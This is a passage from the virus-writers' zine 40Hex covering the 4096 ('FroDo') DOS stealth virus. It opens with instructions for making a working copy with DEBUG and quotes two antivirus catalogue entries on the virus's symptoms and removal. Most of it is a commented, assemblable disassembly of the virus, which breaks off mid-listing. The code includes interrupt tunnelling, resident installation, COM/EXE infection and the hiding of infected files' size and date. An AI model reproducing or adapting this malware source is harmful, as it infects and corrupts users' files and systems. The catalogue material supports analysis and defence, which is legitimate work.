40Hex Number 9 Volume 2 Issue 5 File 005 Virus Spotlite on: 4096 The 4096, or FroDo, virus was one of the first known stealth viruses. Presented below are the descriptions found in Patricia Hoffman's VSUM and in the Computer Virus Catalog. Of course, the latter description is far more accurate, albeit shorter. The virus infects EXE and COM files but not overlays due to the bizarre method with which it checks for a valid file extension. It also cannot handle SYS files. It has a boot block in it; unfortunately, the code which is called to write the boot block to the disk is damaged and the system crashes when the virus attempts to access this code. However, it is worthwhile to rip out the boot block from the code and write it to a disk; the display is pretty neat. To create a working copy, use debug to create a file with the follow- ing bytes: E9 68 02 and tack on the virus to the end of that file. Or, do the following: C:\>DEBUG 4096.COM -E FD XXXX:00FD 00.E9 00.68 00.02 -R CX CX 0FF1 :FF4 -W FD Writing 0FF4 bytes -Q - Dark Angel 4096 Virus Name: 4096 Aliases: Century Virus, FroDo, IDF Virus, Stealth Virus, 100 Years Virus V Status: Common Discovery: January, 1990 Symptoms: .COM, .EXE, & overlay file growth; TSR hides growth; crosslinks; corruption of data files Origin: Israel Eff Length: 4,096 Bytes Type Code: PRsA - Parasitic Resident .COM & .EXE Infector Detection Method: ViruScan, F-Prot, IBM Scan, VirexPC, AVTK, NAV, Novi, Sweep, CPAV, UTScan, Gobbler2, VBuster, AllSafe, ViruSafe Removal Instructions: CleanUp, F-Prot, NAV or delete infected files General Comments: The 4096 virus was first isolated in January, 1990. This virus is considered a stealth virus in that it is almost invisible to the system user. The 4096 virus infects .COM, .EXE, and Overlay files, adding 4,096 bytes to their length. Once the virus is resident in system memory, the increase in length will not appear in a directory listing. Once this virus has installed itself into memory, it will infect any executable file that is opened, including if it is opened with the COPY or XCOPY command. This virus is destructive to both data files and executable files, as it very slowly cross-links files on the system's disk. The cross-linking occurs so slowly that it appears there is a hardware problem, the virus being almost invisible. The cross-linking of files is the result of the virus manipulating the FATs, changing the number of available sectors, as well as the user issuing CHKDSK/F command which will think that the files have lost sectors or cross-linking if the virus is in memory. As a side note, if the virus is present in memory and you attempt to copy infected files, the new copy of the file will not be infected with the virus if the new copy does not have an executable file extension. Thus, one way to disinfect a system is to copy off all the infected files to diskettes with a non-executable file extension (i.e., don't use .EXE, .COM, .SYS, etc.) while the virus is active in memory, then power off the system and reboot from a write-protected, uninfected system disk. Once rebooted and the virus is not in memory, delete the infected files and copy back the files from the diskettes to the original executable file names and extensions. The above will disinfect the system, if done correctly, but will still leave the problem of cross-linked files which are permanently damaged. On or after September 22 of any year, the 4096 virus will hang infected systems. This appears to be a "bug" in the virus in that it goes into a time consuming loop. The 4096 virus also contains a boot-sector within its code; however, it is never written out to the disk's boot sector. Moving this boot sector to the boot sector of a diskette and rebooting the system will result in the message "FRODO LIVES" being displayed. September 22 is Bilbo and Frodo Baggin's birthday in the Lord of the Rings trilogy. An important note on the 4096 virus: this virus will also infect some data files. When this occurs, the data files will appear to be fine on infected systems. However, after the system is later disinfected, these files will now be corrupted and unpredictable results may occur. Known variant(s) of 4096 are: 4096-B: Similar to the 4096 virus, the main change is that the encryption mechanism has been changed in order to avoid detection. 4096-C: Isolated in January, 1991, this variant of 4096 is similar to the original virus. The major difference is that the DOS CHKDSK command will not show any cross-linking of files or lost clusters. A symptom of infection by this variant is that the disk space available according to a DIR command will be more than the disk space available according to the DOS CHKDSK program. 4096-D: Isolated in April, 1992, this variant of 4096 is similar to the 4096-C variant in behavior. The major difference is that it has been modified to avoid detection by some anti- viral utilities. Origin: Unknown April, 1992. ======== Computer Virus Catalog 1.2: "4096" Virus (5-June-1990) ======= Entry...............: "4096" virus Alias(es)...........: "100 years" Virus = IDF Virus = Stealth Virus. Virus Strain........: --- Virus detected when.: October 1989. where.: Haifa, Israel. Classification......: Program Virus (extending), RAM-resident. Length of Virus.....: .COM files: length increased by 4096 bytes. .EXE files: length increased by 4096 bytes. --------------------- Preconditions ----------------------------------- Operating System(s).: MS-DOS Version/Release.....: 2.xx upward Computer model(s)...: IBM-PC, XT, AT and compatibles --------------------- Attributes -------------------------------------- Easy Identification.: --- Type of infection...: System: Allocates a memory block at high end of memory. Finds original address (inside DOS) of Int 21h handler. Finds original address (inside BIOS) of Int 13h handler, therefore bypasses all active monitors. Inserts a JMP FAR to virus code inside original DOS handler. .COM files: program length increased by 4096 .EXE files: program length increased by 4096 Infection Trigger...: Programs are infected at load time (using the function Load/Execute of MS-DOS), and whenever a file Access is done to a file with the exten- sion of .COM or .EXE, (Open file AH=3D, Create file AH=3C, File attrib AH=43, File time/date AH=57, etc.) Interrupts hooked...: INT21h, through a JMP FAR to virus code inside DOS handler; INT01h, during virus installation & execution of DOS's load/execute function (AH=4B); INT13h, INT24h during infection. Damage..............: The computer usually hangs up. Damage Trigger......: A Get Dos Version call when the date is after the 22th of September and before 1/1 of next year. Particularities.....: Infected files have their year set to (year+100) of the un-infected file. If the system is infected, the virus redirects all file accesses so that the virus itself can not be read from the file. Also, find first/next function returns are tampered so that files with (year>100) are reduced by 4096 bytes in size. --------------------- Agents ------------------------------------------ Countermeasures.....: Cannot be detected while in memory, so no monitor/file change detector can help. Countermeasures successful: 1) A Do-it-yourself way: Infect system by running an infected file, ARC/ZIP/LHARC/ZOO all in- fected .COM and .EXE files, boot from unin- fected floppy, and UNARC/UNZIP/LHARC E etc. all files. Pay special attention to disin- fection of COMMAND.COM. 2) The JIV AntiVirus Package (by the author of this contribution) 3) F. Skulason's F-PROT package. Standard means......: --- --------------------- Acknowledgement --------------------------------- Location............: Weizmann Institute, Israel. Classification by...: Ori Berger Documentation by....: Ori Berger Date................: 26-February-1990 ===================== End of "4096" Virus ============================= _4096 segment byte public assume cs:_4096, ds:_4096 ; 4096 Virus ; Disassembly done by Dark Angel of Phalcon/Skism for 40Hex Issue #9 ; Assemble with TASM; the resultant file size is 4081 bytes org 0 startvirus: db 0 jmp installvirus oldheader: ; original 1Ch bytes of the carrier file retn db 75h,02,44h,15h,46h,20h db 'Copyright Bourb%}i, I' endoldheader: EXEflag db 00h db 0FEh, 3Ah int1: ; locate the BIOS or DOS entry point for int 13h and int 21h push bp ; set up stack frame mov bp,sp push ax cmp word ptr [bp+4],0C000h ; in BIOS? jnb foundorigint ; nope, haven't found it mov ax,cs:DOSsegment ; in DOS? cmp [bp+4],ax jbe foundorigint exitint1: pop ax pop bp iret foundorigint: cmp byte ptr cs:tracemode,1 jz tracemode1 mov ax,[bp+4] ; save segment of entry point mov word ptr cs:origints+2,ax mov ax,[bp+2] ; save offset of entry point mov word ptr cs:origints,ax jb finishint1 pop ax pop bp mov ss,cs:savess ; restore the stack to its mov sp,cs:savesp ; original state mov al,cs:saveIMR ; Restore IMR out 21h,al ; (enable interrupts) jmp setvirusints finishint1: and word ptr [bp+6],0FEFFh ; turn off trap flag mov al,cs:saveIMR ; and restore IMR out 21h,al jmp short exitint1 tracemode1: dec byte ptr cs:instructionstotrace jnz exitint1 and word ptr [bp+6],0FEFFh ; turn off trap flag call saveregs call swapvirint21 ; restore original int lds dx,dword ptr cs:oldint1 ; 21h & int 1 handlers mov al,1 call setvect call restoreregs jmp short finishint1 getint: push ds push si xor si,si ; clear si mov ds,si ; ds->interrupt table xor ah,ah ; cbw would be better!? mov si,ax shl si,1 ; convert int # to offset in shl si,1 ; interrupt table (int # x 4) mov bx,[si] ; es:bx = interrupt vector mov es,[si+2] ; get old interrupt vector ; save 3 bytes if use les bx,[si] pop si pop ds retn installvirus: mov word ptr cs:stackptr,offset topstack mov cs:initialax,ax ; save initial value for ax mov ah,30h ; Get DOS version int 21h mov cs:DOSversion,al ; Save DOS version mov cs:carrierPSP,ds ; Save PSP segment mov ah,52h ; Get list of lists int 21h mov ax,es:[bx-2] ; segment of first MCB mov cs:DOSsegment,ax ; save it for use in int 1 mov es,ax ; es = segment first MCB mov ax,es:[1] ; Get owner of first MCB mov cs:ownerfirstMCB,ax ; save it push cs pop ds mov al,1 ; get single step vector call getint mov word ptr ds:oldint1,bx ; save it for later mov word ptr ds:oldint1+2,es; restoration mov al,21h ; get int 21h vector call getint mov word ptr ds:origints,bx mov word ptr ds:origints+2,es mov byte ptr ds:tracemode,0 ; regular trace mode on mov dx,offset int1 ; set new int 1 handler mov al,1 call setvect pushf pop ax or ax,100h ; turn on trap flag push ax in al,21h ; Get old IMR mov ds:saveIMR,al mov al,0FFh ; disable all interrupts out 21h,al popf mov ah,52h ; Get list of lists pushf ; (for tracing purposes) call dword ptr ds:origints ; perform the tunnelling pushf pop ax and ax,0FEFFh ; turn off trap flag push ax popf mov al,ds:saveIMR ; reenable interrupts out 21h,al push ds lds dx,dword ptr ds:oldint1 mov al,1 ; restore int 1 to the call setvect ; original handler pop ds les di,dword ptr ds:origints; set up int 21h handlers mov word ptr ds:oldint21,di mov word ptr ds:oldint21+2,es mov byte ptr ds:jmpfarptr,0EAh ; jmp far ptr mov word ptr ds:int21store,offset otherint21 mov word ptr ds:int21store+2,cs call swapvirint21 ; activate virus in memory mov ax,4B00h mov ds:checkres,ah ; set resident flag to a ; dummy value mov dx,offset EXEflag+1 ; save EXE flag push word ptr ds:EXEflag int 21h ; installation check ; returns checkres=0 if ; installed pop word ptr ds:EXEflag ; restore EXE flag add word ptr es:[di-4],9 nop ; !? mov es,ds:carrierPSP ; restore ES and DS to their mov ds,ds:carrierPSP ; original values sub word ptr ds:[2],(topstack/10h)+1 ; alter top of memory in PSP mov bp,ds:[2] ; get segment mov dx,ds sub bp,dx mov ah,4Ah ; Find total available memory mov bx,0FFFFh int 21h mov ah,4Ah ; Allocate all available memory int 21h dec dx ; go to MCB of virus memory mov ds,dx cmp byte ptr ds:[0],'Z' ; is it the last block? je carrierislastMCB dec byte ptr cs:checkres ; mark need to install virus carrierislastMCB: cmp byte ptr cs:checkres,0 ; need to install? je playwithMCBs ; nope, go play with MCBs mov byte ptr ds:[0],'M' ; mark not end of chain playwithMCBs: mov ax,ds:[3] ; get memory size controlled mov bx,ax ; by the MCB sub ax,(topstack/10h)+1 ; calculate new size add dx,ax ; find high memory segment mov ds:[3],ax ; put new size in MCB inc dx ; one more for the MCB mov es,dx ; es->high memory MCB mov byte ptr es:[0],'Z' ; mark end of chain push word ptr cs:ownerfirstMCB ; get DOS PSP ID pop word ptr es:[1] ; make it the owner mov word ptr es:[3],160h ; fill in the size field inc dx mov es,dx ; es->high memory area push cs pop ds mov cx,(topstack/2) ; zopy 0-1600h to high memory mov si,offset topstack-2 mov di,si std ; zopy backwards rep movsw cld push es ; set up stack for jmp into mov ax,offset highentry ; virus code in high memory push ax mov es,cs:carrierPSP ; save current PSP segment mov ah,4Ah ; Alter memory allocation mov bx,bp ; bx = paragraphs int 21h retf ; jmp to virus code in high highentry: ; memory call swapvirint21 mov word ptr cs:int21store+2,cs call swapvirint21 push cs pop ds mov byte ptr ds:handlesleft,14h ; reset free handles count push cs pop es mov di,offset handletable mov cx,14h xor ax,ax ; clear handle table rep stosw mov ds:hideclustercountchange,al ; clear the flag mov ax,ds:carrierPSP mov es,ax ; es->PSP lds dx,dword ptr es:[0Ah] ; get terminate vector (why?) mov ds,ax ; ds->PSP add ax,10h ; adjust for PSP add word ptr cs:oldheader+16h,ax ; adjust jmp location cmp byte ptr cs:EXEflag,0 ; for PSP jne returntoEXE returntoCOM: sti mov ax,word ptr cs:oldheader; restore first 6 bytes of the mov ds:[100h],ax ; COM file mov ax,word ptr cs:oldheader+2 mov ds:[102h],ax mov ax,word ptr cs:oldheader+4 mov ds:[104h],ax push word ptr cs:carrierPSP ; Segment of carrier file's mov ax,100h ; PSP push ax mov ax,cs:initialax ; restore orig. value of ax retf ; return to original COM file returntoEXE: add word ptr cs:oldheader+0eh,ax mov ax,cs:initialax ; Restore ax mov ss,word ptr cs:oldheader+0eh ; Restore stack to mov sp,word ptr cs:oldheader+10h ; original value sti jmp dword ptr cs:oldheader+14h ; jmp to original cs:IP ; entry point entervirus: cmp sp,100h ; COM file? ja dont_resetstack ; if so, skip this xor sp,sp ; new stack dont_resetstack: mov bp,ax call next ; calculate relativeness next: pop cx sub cx,offset next ; cx = delta offset mov ax,cs ; ax = segment mov bx,10h ; convert to offset mul bx add ax,cx adc dx,0 div bx ; convert to seg:off push ax ; set up stack for jmp mov ax,offset installvirus ; to installvirus push ax mov ax,bp retf ; go to installvirus int21commands: db 30h ; get DOS version dw offset getDOSversion db 23h ; FCB get file size dw offset FCBgetfilesize db 37h ; get device info dw offset get_device_info db 4Bh ; execute dw offset execute db 3Ch ; create file w/ handle dw offset createhandle db 3Dh ; open file dw offset openhandle db 3Eh ; close file dw offset handleclosefile db 0Fh ; FCB open file dw offset FCBopenfile db 14h ; sequential FCB read dw offset sequentialFCBread db 21h ; random FCB read dw offset randomFCBread db 27h ; random FCB block read dw offset randomFCBblockread db 11h ; FCB find first dw offset FCBfindfirstnext db 12h ; FCB find next dw offset FCBfindfirstnext db 4Eh ; filename find first dw offset filenamefindfirstnext db 4Fh ; filename find next dw offset filenamefindfirstnext db 3Fh ; read dw offset handleread db 40h ; write dw offset handlewrite db 42h ; move file pointer dw offset handlemovefilepointer db 57h ; get/set file time/date dw offset getsetfiletimedate db 48h ; allocate memory dw offset allocatememory endcommands: otherint21: cmp ax,4B00h ; execute? jnz notexecute mov cs:checkres,al ; clear the resident flag notexecute: push bp ; set up stack frame mov bp,sp push [bp+6] ; push old flags pop cs:int21flags ; and put in variable pop bp ; why? push bp ; why? mov bp,sp ; set up new stack frame call saveregs call swapvirint21 ; reenable DOS int 21h handler call disableBREAK call restoreregs call _pushall push bx mov bx,offset int21commands ; bx->command table scanforcommand: cmp ah,cs:[bx] ; scan for the function jne findnextcommand ; code/subroutine combination mov bx,cs:[bx+1] xchg bx,[bp-14h] cld retn findnextcommand: add bx,3 ; go to next command cmp bx,offset endcommands ; in the table until jb scanforcommand ; there are no more pop bx exitotherint21: call restoreBREAK in al,21h ; save IMR mov cs:saveIMR,al mov al,0FFh ; disable all interrupts out 21h,al mov byte ptr cs:instructionstotrace,4 ; trace into mov byte ptr cs:tracemode,1 ; oldint21 call replaceint1 ; set virus int 1 handler call _popall push ax mov ax,cs:int21flags ; get the flags or ax,100h ; turn on the trap flag push ax ; and set it in motion popf pop ax pop bp jmp dword ptr cs:oldint21 ; chain back to original int ; 21h handler -- do not return exitint21: call saveregs call restoreBREAK call swapvirint21 call restoreregs pop bp push bp ; set up stack frame mov bp,sp push word ptr cs:int21flags ; get the flags and put pop word ptr [bp+6] ; them on the stack for pop bp ; the iret iret FCBfindfirstnext: call _popall call callint21 or al,al ; Found any files? jnz exitint21 ; guess not call _pushall call getdisktransferaddress mov al,0 cmp byte ptr [bx],0FFh ; Extended FCB? jne findfirstnextnoextendedFCB mov al,[bx+6] add bx,7 ; convert to normal FCB findfirstnextnoextendedFCB: and cs:hide_size,al test byte ptr [bx+1Ah],80h ; check year bit for virus jz _popall_then_exitint21 ; infection tag. exit if so sub byte ptr [bx+1Ah],0C8h ; alter file date cmp byte ptr cs:hide_size,0 jne _popall_then_exitint21 sub word ptr [bx+1Dh],1000h ; hide file size sbb word ptr [bx+1Fh],0 _popall_then_exitint21: call _popall jmp short exitint21 FCBopenfile: call _popall call callint21 ; chain to original int 21h call _pushall or al,al ; 0 = success jnz _popall_then_exitint21 mov bx,dx test byte ptr [bx+15h],80h ; check if infected yet jz _popall_then_exitint21 sub byte ptr [bx+15h],0C8h ; restore date sub word ptr [bx+10h],1000h ; and hide file size sbb byte ptr [bx+12h],0 jmp short _popall_then_exitint21 randomFCBblockread: jcxz go_exitotherint21 ; reading any blocks? randomFCBread: mov bx,dx mov si,[bx+21h] ; check if reading first or si,[bx+23h] ; bytes jnz go_exitotherint21 jmp short continueFCBread sequentialFCBread: mov bx,dx mov ax,[bx+0Ch] ; check if reading first or al,[bx+20h] ; bytes jnz go_exitotherint21 continueFCBread: call checkFCBokinfect jnc continuecontinueFCBread go_exitotherint21: jmp exitotherint21 continuecontinueFCBread: call _popall call _pushall call callint21 ; chain to original handler mov [bp-4],ax ; set the return codes mov [bp-8],cx ; properly push ds ; save FCB pointer push dx call getdisktransferaddress cmp word ptr [bx+14h],1 ; check for EXE infection je FCBreadinfectedfile ; (IP = 1) mov ax,[bx] ; check for COM infection add ax,[bx+2] ; (checksum = 0) add ax,[bx+4] jz FCBreadinfectedfile add sp,4 ; no infection, no stealth jmp short _popall_then_exitint21 ; needed FCBreadinfectedfile: pop dx ; restore address of the FCB pop ds mov si,dx push cs pop es mov di,offset tempFCB ; copy FCB to temporary one mov cx,25h rep movsb mov di,offset tempFCB push cs pop ds mov ax,[di+10h] ; get old file size mov dx,[di+12h] add ax,100Fh ; increase by virus size adc dx,0 ; and round to the nearest and ax,0FFF0h ; paragraph mov [di+10h],ax ; insert new file size mov [di+12h],dx sub ax,0FFCh sbb dx,0 mov [di+21h],ax ; set new random record # mov [di+23h],dx mov word ptr [di+0Eh],1 ; record size = 1 mov cx,1Ch mov dx,di mov ah,27h ; random block read 1Ch bytes call callint21 jmp _popall_then_exitint21 FCBgetfilesize: push cs pop es mov si,dx mov di,offset tempFCB ; copy FCB to temp buffer mov cx,0025h repz movsb push ds push dx push cs pop ds mov dx,offset tempFCB mov ah,0Fh ; FCB open file call callint21 mov ah,10h ; FCB close file call callint21 test byte ptr [tempFCB+15h],80h ; check date bit pop si pop ds jz will_exitotherint21 ; exit if not infected les bx,dword ptr cs:[tempFCB+10h] ; get filesize mov ax,es sub bx,1000h ; hide increase sbb ax,0 xor dx,dx mov cx,word ptr cs:[tempFCB+0eh] ; get record size dec cx add bx,cx adc ax,0 inc cx div cx mov [si+23h],ax ; fix random access record # xchg dx,ax xchg bx,ax div cx mov [si+21h],ax ; fix random access record # jmp _popall_then_exitint21 filenamefindfirstnext: and word ptr cs:int21flags,-2 ; turn off trap flag call _popall call callint21 call _pushall jnb filenamefffnOK ; continue if a file is found or word ptr cs:int21flags,1 jmp _popall_then_exitint21 filenamefffnOK: call getdisktransferaddress test byte ptr [bx+19h],80h ; Check high bit of date jnz filenamefffnfileinfected; Bit set if infected jmp _popall_then_exitint21 filenamefffnfileinfected: sub word ptr [bx+1Ah],1000h ; hide file length increase sbb word ptr [bx+1Ch],0 sub byte ptr [bx+19h],0C8h ; and date change jmp _popall_then_exitint21 createhandle: push cx and cx,7 ; mask the attributes cmp cx,7 ; r/o, hidden, & system? je exit_create_handle pop cx call replaceint13and24 call callint21 ; chain to original int 21h call restoreint13and24 pushf cmp byte ptr cs:errorflag,0 ; check if any errors yet je no_errors_createhandle popf will_exitotherint21: jmp exitotherint21 no_errors_createhandle: popf jc other_error_createhandle; exit on error mov bx,ax ; move handle to bx mov ah,3Eh ; Close file call callint21 jmp short openhandle other_error_createhandle: or byte ptr cs:int21flags,1; turn on the trap flag mov [bp-4],ax ; set the return code properly jmp _popall_then_exitint21 exit_create_handle: pop cx jmp exitotherint21 openhandle: call getcurrentPSP call checkdsdxokinfect jc jmp_exitotherint21 cmp byte ptr cs:handlesleft,0 ; make sure there is a free je jmp_exitotherint21 ; entry in the table call setup_infection ; open the file cmp bx,0FFFFh ; error? je jmp_exitotherint21 ; if so, exit dec byte ptr cs:handlesleft push cs pop es mov di,offset handletable mov cx,14h xor ax,ax ; find end of the table repne scasw mov ax,cs:currentPSP ; put the PSP value and the mov es:[di-2],ax ; handle # in the table mov es:[di+26h],bx mov [bp-4],bx ; put handle # in return code handleopenclose_exit: and byte ptr cs:int21flags,0FEh ; turn off the trap flag jmp _popall_then_exitint21 jmp_exitotherint21: jmp exitotherint21 handleclosefile: push cs pop es call getcurrentPSP mov di,offset handletable mov cx,14h ; 14h entries max mov ax,cs:currentPSP ; search for calling PSP scanhandle_close: repne scasw jnz handlenotfound ; handle not trapped cmp bx,es:[di+26h] ; does the handle correspond? jne scanhandle_close ; if not, find another handle mov word ptr es:[di-2],0 ; otherwise, clear handle call infect_file inc byte ptr cs:handlesleft ; fix handles left counter jmp short handleopenclose_exit ; and exit handlenotfound: jmp exitotherint21 getdisktransferaddress: push es mov ah,2Fh ; Get disk transfer address call callint21 ; to es:bx push es pop ds ; mov to ds:bx pop es retn execute: or al,al ; load and execute? jz loadexecute ; yepper! jmp checkloadnoexecute ; otherwise check if ; load/no execute loadexecute: push ds ; save filename push dx mov word ptr cs:parmblock,bx; save parameter block and mov word ptr cs:parmblock+2,es; move to ds:si lds si,dword ptr cs:parmblock mov di,offset copyparmblock ; copy the parameter block mov cx,0Eh push cs pop es rep movsb pop si ; copy the filename pop ds ; to the buffer mov di,offset copyfilename mov cx,50h rep movsb mov bx,0FFFFh call allocate_memory ; allocate available memory call _popall pop bp ; save the parameters pop word ptr cs:saveoffset ; on the stack pop word ptr cs:savesegment pop word ptr cs:int21flags mov ax,4B01h ; load/no execute push cs ; ds:dx -> file name pop es ; es:bx -> parameter block mov bx,offset copyparmblock pushf ; perform interrupt 21h call dword ptr cs:oldint21 jnc continue_loadexecute ; continue if no error or word ptr cs:int21flags,1; turn on trap flag push word ptr cs:int21flags ; if error push word ptr cs:savesegment ; restore stack push word ptr cs:saveoffset push bp ; restore the stack frame mov bp,sp ; and restore ES:BX to les bx,dword ptr cs:parmblock ; point to the parameter jmp exitint21 ; block continue_loadexecute: call getcurrentPSP push cs pop es mov di,offset handletable ; scan the handle table mov cx,14h ; for the current PSP's scanhandle_loadexecute: ; handles mov ax,cs:currentPSP repne scasw jnz loadexecute_checkEXE mov word ptr es:[di-2],0 ; clear entry in handle table inc byte ptr cs:handlesleft ; fix handlesleft counter jmp short scanhandle_loadexecute loadexecute_checkEXE: lds si,dword ptr cs:origcsip cmp si,1 ; Check if EXE infected jne loadexecute_checkCOM mov dx,word ptr ds:oldheader+16h ; get initial CS add dx,10h ; adjust for PSP mov ah,51h ; Get current PSP segment call callint21 add dx,bx ;adjust for start load segment mov word ptr cs:origcsip+2,dx push word ptr ds:oldheader+14h ; save old IP pop word ptr cs:origcsip add bx,10h ; adjust for the PSP add bx,word ptr ds:oldheader+0Eh ; add old SS mov cs:origss,bx push word ptr ds:oldheader+10h ; old SP pop word ptr cs:origsp jmp short perform_loadexecute loadexecute_checkCOM: mov ax,[si] ; Check if COM infected add ax,[si+2] add ax,[si+4] jz loadexecute_doCOM ; exit if already infected push cs ; otherwise check to see pop ds ; if it is suitable for mov dx,offset copyfilename ; infection call checkdsdxokinfect call setup_infection inc byte ptr cs:hideclustercountchange call infect_file ; infect the file dec byte ptr cs:hideclustercountchange perform_loadexecute: mov ah,51h ; Get current PSP segment call callint21 call saveregs call restoreBREAK call swapvirint21 call restoreregs mov ds,bx ; ds = current PSP segment mov es,bx ; es = current PSP segment push word ptr cs:int21flags ; restore stack parameters push word ptr cs:savesegment push word ptr cs:saveoffset pop word ptr ds:[0Ah] ; Set terminate address in PSP pop word ptr ds:[0Ch] ; to return address found on ; the stack ; (int 21h caller CS:IP) push ds lds dx,dword ptr ds:[0Ah] ; Get terminate address in PSP mov al,22h ; Set terminate address to it call setvect pop ds popf pop ax mov ss,cs:origss ; restore the stack mov sp,cs:origsp ; and jmp dword ptr cs:origcsip ; perform the execute loadexecute_doCOM: mov bx,[si+1] ; restore original COM file mov ax,word ptr ds:[bx+si-261h] mov [si],ax mov ax,word ptr ds:[bx+si-25Fh] mov [si+2],ax mov ax,word ptr ds:[bx+si-25Dh] mov [si+4],ax jmp short perform_loadexecute checkloadnoexecute: cmp al,1 je loadnoexecute jmp exitotherint21 loadnoexecute: or word ptr cs:int21flags,1; turn on trap flag mov word ptr cs:parmblock,bx; save pointer to parameter mov word ptr cs:parmblock+2,es ; block call _popall call callint21 ; chain to int 21h call _pushall les bx,dword ptr cs:parmblock ; restore pointer to ; parameter block lds si,dword ptr es:[bx+12h]; get cs:ip on execute return jc exit_loadnoexecute and byte ptr cs:int21flags,0FEh ; turn off trap flag cmp si,1 ; check for EXE infection je loadnoexecute_EXE_already_infected ; infected if initial IP = 1 mov ax,[si] ; check for COM infection add ax,[si+2] ; infected if checksum = 0 add ax,[si+4] jnz perform_the_execute mov bx,[si+1] ; get jmp location mov ax,ds:[bx+si-261h] ; restore original COM file mov [si],ax mov ax,ds:[bx+si-25Fh] mov [si+2],ax mov ax,ds:[bx+si-25Dh] mov [si+4],ax jmp short perform_the_execute loadnoexecute_EXE_already_infected: mov dx,word ptr ds:oldheader+16h ; get entry CS:IP call getcurrentPSP mov cx,cs:currentPSP add cx,10h ; adjust for PSP add dx,cx mov es:[bx+14h],dx ; alter the entry point CS mov ax,word ptr ds:oldheader+14h mov es:[bx+12h],ax mov ax,word ptr ds:oldheader+0Eh ; alter stack add ax,cx mov es:[bx+10h],ax mov ax,word ptr ds:oldheader+10h mov es:[bx+0Eh],ax perform_the_execute: call getcurrentPSP mov ds,cs:currentPSP mov ax,[bp+2] ; restore length as held in mov word ptr ds:oldheader+6,ax mov ax,[bp+4] ; the EXE header mov word ptr ds:oldheader+8,ax exit_loadnoexecute: jmp _popall_then_exitint21 getDOSversion: mov byte ptr cs:hide_size,0 mov ah,2Ah ; Get date call callint21 cmp dx,916h ; September 22? jb exitDOSversion ; leave if not call writebootblock ; this is broken exitDOSversion: jmp exitotherint21 infect_file: call replaceint13and24 call findnextparagraphboundary mov byte ptr ds:EXEflag,1 ; assume is an EXE file cmp word ptr ds:readbuffer,'ZM' ; check here for regular je clearlyisanEXE ; EXE header cmp word ptr ds:readbuffer,'MZ' ; check here for alternate je clearlyisanEXE ; EXE header dec byte ptr ds:EXEflag ; if neither, assume is a jz try_infect_com ; COM file clearlyisanEXE: mov ax,ds:lengthinpages ; get file size in pages shl cx,1 ; and convert it to mul cx ; bytes add ax,200h ; add 512 bytes cmp ax,si jb go_exit_infect_file mov ax,ds:minmemory ; make sure min and max memory or ax,ds:maxmemory ; are not both zero jz go_exit_infect_file mov ax,ds:filesizelow ; get filesize in dx:ax mov dx,ds:filesizehigh mov cx,200h ; convert to pages div cx or dx,dx ; filesize multiple of 512? jz filesizemultiple512 ; then don't increment # inc ax ; pages filesizemultiple512: mov ds:lengthinpages,ax ; put in new values for length mov ds:lengthMOD512,dx ; fields cmp word ptr ds:initialIP,1 ; check if already infected je exit_infect_file mov word ptr ds:initialIP,1 ; set new entry point mov ax,si ; calculate new entry point sub ax,ds:headersize ; segment mov ds:initialcs,ax ; put this in for cs add word ptr ds:lengthinpages,8 ; 4K more mov ds:initialSS,ax ; put entry segment in for SS mov word ptr ds:initialSP,1000h ; set stack @ 1000h call finish_infection go_exit_infect_file: jmp short exit_infect_file try_infect_com: cmp si,0F00h ; make sure file is under jae exit_infect_file ; F00h paragraphs or else ; it will be too large once it ; is infected mov ax,ds:readbuffer ; first save first 6 bytes mov word ptr ds:oldheader,ax add dx,ax mov ax,ds:readbuffer+2 mov word ptr ds:oldheader+2,ax add dx,ax mov ax,ds:readbuffer+4 mov word ptr ds:oldheader+4,ax add dx,ax ; exit if checksum = 0 jz exit_infect_file ; since then it is already ; infected mov cl,0E9h ; encode jmp instruction mov byte ptr ds:readbuffer,cl mov ax,10h ; find file size mul si add ax,offset entervirus-3 ; calculate offset of jmp mov word ptr ds:readbuffer+1,ax ; encode it mov ax,ds:readbuffer ; checksum it to 0 add ax,ds:readbuffer+2 neg ax mov ds:readbuffer+4,ax call finish_infection exit_infect_file: mov ah,3Eh ; Close file call callint21 call restoreint13and24 retn findnextparagraphboundary: push cs pop ds mov ax,5700h ; Get file time/date call callint21 mov ds:filetime,cx mov ds:filedate,dx mov ax,4200h ; Go to beginning of file xor cx,cx mov dx,cx call callint21 mov ah,3Fh ; Read first 1Ch bytes mov cl,1Ch mov dx,offset readbuffer call callint21 mov ax,4200h ; Go to beginning of file xor cx,cx mov dx,cx call callint21 mov ah,3Fh ; Read first 1Ch bytes mov cl,1Ch mov dx,offset oldheader call callint21 mov ax,4202h ; Go to end of file xor cx,cx mov dx,cx call callint21 mov ds:filesizelow,ax ; save filesize mov ds:filesizehigh,dx mov di,ax add ax,0Fh ; round to nearest paragraph adc dx,0 ; boundary and ax,0FFF0h sub di,ax ; di=# bytes to next paragraph mov cx,10h ; normalize filesize div cx ; to paragraphs mov si,ax ; si = result retn finish_infection: mov ax,4200h ; Go to beginning of file xor cx,cx mov dx,cx call callint21 mov ah,40h ; Write new header to file mov cl,1Ch mov dx,offset readbuffer call callint21 mov ax,10h ; convert paragraph boundary mul si ; to a byte value mov cx,dx mov dx,ax mov ax,4200h ; go to first paragraph call callint21 ; boundary at end of file xor dx,dx mov cx,1000h add cx,di mov ah,40h ; Concatenate virus to file call callint21 mov ax,5701h ; Restore file time/date mov cx,ds:filetime mov dx,ds:filedate test dh,80h ; check for infection bit jnz highbitset add dh,0C8h ; alter if not set yet highbitset: call callint21 cmp byte ptr ds:DOSversion,3; if not DOS 3+, then jb exit_finish_infection ; do not hide the alteration ; in cluster count cmp byte ptr ds:hideclustercountchange,0 je exit_finish_infection push bx mov dl,ds:filedrive mov ah,32h ; Get drive parameter block call callint21 ; for drive dl mov ax,cs:numfreeclusters mov [bx+1Eh],ax ; alter free cluster count pop bx exit_finish_infection: retn checkFCBokinfect: call saveregs mov di,dx add di,0Dh ; skip to extension push ds pop es jmp short performchecksum ; and check checksum for valid ; checksum checkdsdxokinfect: call saveregs push ds pop es mov di,dx mov cx,50h ; max filespec length xor ax,ax mov bl,0 ; default drive cmp byte ptr [di+1],':' ; Is there a drive spec? jne ondefaultdrive ; nope, skip it mov bl,[di] ; yup, get drive and bl,1Fh ; and convert to number ondefaultdrive: mov cs:filedrive,bl repne scasb ; find terminating 0 byte performchecksum: mov ax,[di-3] and ax,0DFDFh ; convert to uppercase add ah,al mov al,[di-4] and al,0DFh ; convert to uppercase add al,ah mov byte ptr cs:EXEflag,0 ; assume COM file cmp al,0DFh ; COM checksum? je COMchecksum inc byte ptr cs:EXEflag ; assume EXE file cmp al,0E2h ; EXE 